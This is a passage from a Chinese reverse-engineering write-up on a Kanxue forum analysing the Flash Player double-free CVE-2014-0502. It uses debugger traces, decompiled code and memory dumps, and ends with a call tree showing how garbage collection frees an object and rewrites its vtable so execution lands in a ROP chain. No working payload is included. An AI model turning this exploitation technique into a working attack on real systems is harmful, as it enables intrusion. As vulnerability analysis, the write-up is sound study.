(1)考虑到actionscript代码使用了多线程的方法,所以考虑上面调试过程中到达每个断点时,是否都处于同一线程中,因此重新回到之前的快照又走了一遍整个流程,同时使用~.命令查看当前线程,发现除了第一次中断在10101810的时候,其余时刻都处于同一线程中。
(2)根据上面的步骤整理,rop_func中发生了很多我不清楚的事,最终导致了第二次deconstruct的发生。按照我一开始对于发生两次flush的时机的理解(2.3.3小结中划掉的部分),我不太明白为什么会发生这样的嵌套,但是根据参考资料3,我知道这里发生了垃圾回收。于是我在IDA中跟踪了一下发生第二次deconstruct时的函数调用流程,结果发现在函数sub_1014C1BD(second_flush)中,deconstruct和change_vtable先后被调用:
if ( v11(record_obj) == a2 || record_obj[0x2E] == a2 ) {
(**record_obj)(record_obj, 0); // deconstruct
change_vtable(dword_10F428A0, record_obj);
}
同时在外层函数中,发现了函数调用:sub_105B1590(*a1, "[mem] DRC reaped %u objects (%u kb) freeing %u pages (%u kb) in %.2f millis (%.4f s)\n", ArgList);
推测这里应该在做垃圾回收了。
(3)上网搜索资料,找到了参考资料4,对2.3.3小结重新进行了一些补充,理解了上面的步骤整理中为什么deconstruct会嵌套出现。
3.3.2 change_vtable的真面目
v3 = object & 0xFFFFF000;
...
*object = *v3; // 修改虚函数表指针
void __usercall clear_object(_DWORD *this@<ecx>, int a2@<edi>)
{
*this = &off_10B9E9B8;
write_data(this, a2);
clear(this + 35);
clear(this + 30); // 下面的几个偏移都是3
clear(this + 27);
clear(this + 24);
clear(this + 21);
clear(this + 18);
clear(this + 15);
clear(this + 12);
clear(this + 9);
clear(this + 6);
clear(this + 3);
}
02aa41c0 10c3d06c 00000000 02c4a000
02aa41cc 02a60e60 0000001c 0000001d // +0C
02aa41d8 02a55bd8 00000006 00000007 // +18
02aa41e4 00000000 00000000 00000000 // +24
02aa41f0 00000000 00000000 00000000 // +30
02aa41fc 02a97290 00000067 00000068 // +3C
02aa4208 02a5eca0 0000007f 00000080 // +48
02aa4214 00000000 00000000 00000000 // +54
02aa4220 02a7b4f0 00000055 00000056 // +60
02aa422c 02b013a0 0000006d 0000006e // +6C
02aa4238 00000000 00000000 00000000 // +78
02aa4244 00000000 00000000 02a60e80 // +8C
02aa4250 0000001b 0000001c 02acf1b0
void __thiscall clear(_DWORD *this)
{
if ( *this && *this != &unk_10B72E08 )
link_in(*this);
*this = 0;
this[1] = 0;
this[2] = 0;
}
void __cdecl link_in(unsigned int a1)
{
if ( a1 )
change_vtable(dword_10F428A0, a1);
}
0:020> p
eax=02b013a0 ebx=00000000 ecx=10f428b8 edx=02b013a0 esi=02b013a0 edi=02b013a0
eip=105ab57a esp=03b4f8b0 ebp=03cf2a80 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule+0x69d0a:
105ab57a 81e600f0ffff and esi,0FFFFF000h
105ab611 8b442414 mov eax,dword ptr [esp+14h] // ss:0023:03b4f8c4=02b013a0
105ab615 8b16 mov edx,dword ptr [esi] // ds:0023:02b01000=02b01410
105ab617 8910 mov dword ptr [eax],edx
...
105ab61d 8906 mov dword ptr [esi],eax
*object = *object_align;
*object_align = object;
0:020> dd 2b01000 l8
02b01000 02b01410 02b01640 00000000 00000000
02b01010 00700009 00000000 00000000 10f42aec
0:020> dd 2b013a0 l8
02b013a0 442f3a43 6d75636f 73746e65 646e6120
02b013b0 74655320 676e6974 65742f73 412f7473
0:020> dd 2b01000 l8
02b01000 02b013a0 02b01640 00000000 00000000
02b01010 00700008 00000000 00000000 10f42aec
0:020> dd 2b013a0 l8
02b013a0 02b01410 6d75636f 73746e65 646e6120
02b013b0 74655320 676e6974 65742f73 412f7473
0:020> dd 10f42aec la
10f42aec 10f428b0 00000024 00000070 02b01000
10f42afc 02b01000 02b01000 00000001 0000121e
10f42b0c 00000001 00000000
02b01000 -> 02b013a0 -> 02b01410 -> 02b01480 -> 02b014f0 -> 02b01560 -> 02b015d0 -> 00000000
4
终极目标:漏洞利用原理分析
|- 生成record对象,所在地址:2aa41c0
|- 生成ROP,所在地址:02aa4290
|- deconstruct(第一次flush操作)
| |- rop_func
| | |- 垃圾回收(第二次flush操作)
| | | |- deconstruct (释放了record对象空间)
| | | | - rop_func
| | | | - clear_object
| | | |- 链表链入(修改record对象的虚函数表指针)
| | |- 继续第一次flush操作(调用record虚函数,导致转入rop中执行)
5
总结
参考资料:
ActionScript® 3.0 Reference for the Adobe® Flash® Platform(https://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/system/Worker.html)
Inscription: Thwarting ActionScript Web Attacks From Within(https://personal.utdallas.edu/~hamlen/sridhar18trustcom.pdf)
Deep analysis of CVE-2014-0502 — a double free story(https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/deep-analysis-of-cve-2014-0502-a-double-free-story/)
Understanding Garbage Collection in AS3(https://code.tutsplus.com/tutorials/understanding-garbage-collection-in-as3--active-4412)
看雪ID:LarryS
https://bbs.pediy.com/user-home-600394.htm
# 往期推荐
1.基于linker实现so加壳补充-------从dex中加载so
3.BCTF2018-houseofatum-Writeup题解
球分享
球点赞
球在看
点击“阅读原文”,了解更多!